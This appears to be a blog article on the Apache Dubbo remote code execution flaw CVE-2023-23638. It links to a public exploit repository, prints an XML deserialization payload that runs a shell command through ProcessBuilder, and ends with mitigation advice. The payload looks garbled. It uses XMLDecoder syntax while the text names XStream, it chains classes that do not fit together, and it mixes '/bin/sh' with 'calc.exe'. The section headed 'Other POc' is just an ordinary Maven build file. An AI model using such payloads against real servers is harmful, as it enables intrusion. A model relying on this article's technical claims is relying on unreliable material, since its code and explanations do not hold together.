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CVE-2023-23638 Exploit : A Deep Dive into Apache Dubbo’s Security Vulnerability

Introduction:

In the world of software development, security vulnerabilities pose a significant threat to the stability and integrity of applications. One such vulnerability that recently came to light is CVE-2023-23638, affecting the popular Apache Dubbo framework. This article aims to provide an in-depth analysis of CVE-2023-23638, shedding light on its implications and offering a code example that demonstrates the exploitation of the vulnerability.

POC Exploit Link: https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp

CVE-2023-23638 Overview:

CVE-2023-23638 is a remote code execution vulnerability that affects the Apache Dubbo framework. Apache Dubbo is a widely adopted, high-performance, open-source RPC (Remote Procedure Call) framework for building microservices architectures. This vulnerability allows an attacker to execute arbitrary code on the Dubbo provider side, bypassing any authentication mechanisms.

Exploiting CVE-2023-23638:

The exploitation of CVE-2023-23638 involves sending a malicious XML payload to a vulnerable Apache Dubbo server. The server deserializes this payload using XStream, a Java library that converts objects to XML and vice versa. The vulnerability lies in the unsafe deserialization process, which can be abused to execute arbitrary code.

To better understand the vulnerability, let’s examine a simplified example of a vulnerable Apache Dubbo server:

```xml
<!-- malicious payload -->
<java>
  <void class="org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation">
    <void property="attachment">
      <void method="put">
        <string>initClassLoader</string>
        <object class="org.apache.commons.collections.TransformerUtils">
          <string>constantTransformer</string>
          <void method="getInvoker">
            <void method="invoke">
              <object class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                  <void index="0">
                    <string>/bin/sh</string>
                  </void>
                  <void index="1">
                    <string>-c</string>
                  </void>
                  <void index="2">
                    <string>calc.exe</string>
                  </void>
                </array>
                <void method="start" />
              </object>
            </void>
          </void>
        </object>
      </void>
    </void>
  </void>
</java>
```

In this payload, the attacker takes advantage of the `DecodeableRpcInvocation` class to execute arbitrary commands. The `ProcessBuilder` is used to invoke the command “calc.exe” in this example, but it could be replaced with any other malicious command or payload.

Other POc:

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~
  ~   Licensed to the Apache Software Foundation (ASF) under one or more
  ~   contributor license agreements.  See the NOTICE file distributed with
  ~   this work for additional information regarding copyright ownership.
  ~   The ASF licenses this file to You under the Apache License, Version 2.0
  ~   (the "License"); you may not use this file except in compliance with
  ~   the License.  You may obtain a copy of the License at
  ~
  ~       http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~   Unless required by applicable law or agreed to in writing, software
  ~   distributed under the License is distributed on an "AS IS" BASIS,
  ~   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  ~   See the License for the specific language governing permissions and
  ~   limitations under the License.
  ~
  -->
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <artifactId>dubbo-samples-test</artifactId>
    <groupId>org.apache.dubbo.samples</groupId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>3.1.5</dubbo.version>
<!--        <dubbo.version>2.7.21</dubbo.version>-->
<!--        <dubbo.version>3.0.13</dubbo.version>-->
        <spring.version>4.3.3.RELEASE</spring.version>
        <junit.version>4.13.1</junit.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
    </properties>
    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework</groupId>
                <artifactId>spring-framework-bom</artifactId>
                <version>${spring.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
            <dependency>
                <groupId>org.apache.dubbo</groupId>
                <artifactId>dubbo-bom</artifactId>
                <version>${dubbo.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
            <dependency>
                <groupId>org.apache.dubbo</groupId>
                <artifactId>dubbo-dependencies-zookeeper</artifactId>
                <version>${dubbo.version}</version>
                <type>pom</type>
            </dependency>
            <dependency>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
                <version>${junit.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.springframework</groupId>
                <artifactId>spring-test</artifactId>
                <scope>test</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <type>pom</type>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>${maven-compiler-plugin.version}</version>
                <configuration>
                    <source>${source.level}</source>
                    <target>${target.level}</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <executions>
                    <execution>
                        <goals>
                            <goal>repackage</goal>
                        </goals>
                        <configuration>
                            <classifier>spring-boot</classifier>
                            <mainClass>
                                org.apache.dubbo.samples.DemoConsumer
                            </mainClass>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

Impact and Mitigation:

Exploitation of CVE-2023-23638 can lead to severe consequences, including remote code execution, unauthorized access, and potentially the compromise of the entire Dubbo-based system. To mitigate this vulnerability, it is crucial to apply the following measures:

1. Update Apache Dubbo: Keep your Apache Dubbo framework up to date with the latest patches and security fixes. The Apache Dubbo community actively releases updates to address vulnerabilities, including CVE-2023-23638.

2. Input Validation: Implement strict input validation and sanitization to prevent the execution of arbitrary code. Avoid directly deserializing untrusted data without proper validation and sanitization.

3. Secure Configuration: Configure the Dubbo provider side to minimize the impact of potential attacks. Restrict network access, enforce strong authentication mechanisms, and apply the principle of least privilege.

4. Runtime Protection: Consider using runtime protection mechanisms such as Web Application Firewalls (WAFs) or Runtime Application Self-Protection (RASP) solutions. These tools can provide an additional layer of defense by

 detecting and mitigating attacks in real-time.

Conclusion:

CVE-2023-23638 is a critical security vulnerability that affects Apache Dubbo, enabling remote code execution and potentially compromising the entire system. Developers and system administrators should take immediate action to update their Dubbo installations and implement proper security measures to mitigate the risk of exploitation. By prioritizing security and following best practices, we can ensure the safety and resilience of our applications in an ever-evolving threat landscape.

Please note: The code example provided in this article is for educational purposes only. It demonstrates the concept of the vulnerability but should not be used for any malicious activities. It is essential to respect ethical boundaries and use this knowledge responsibly.

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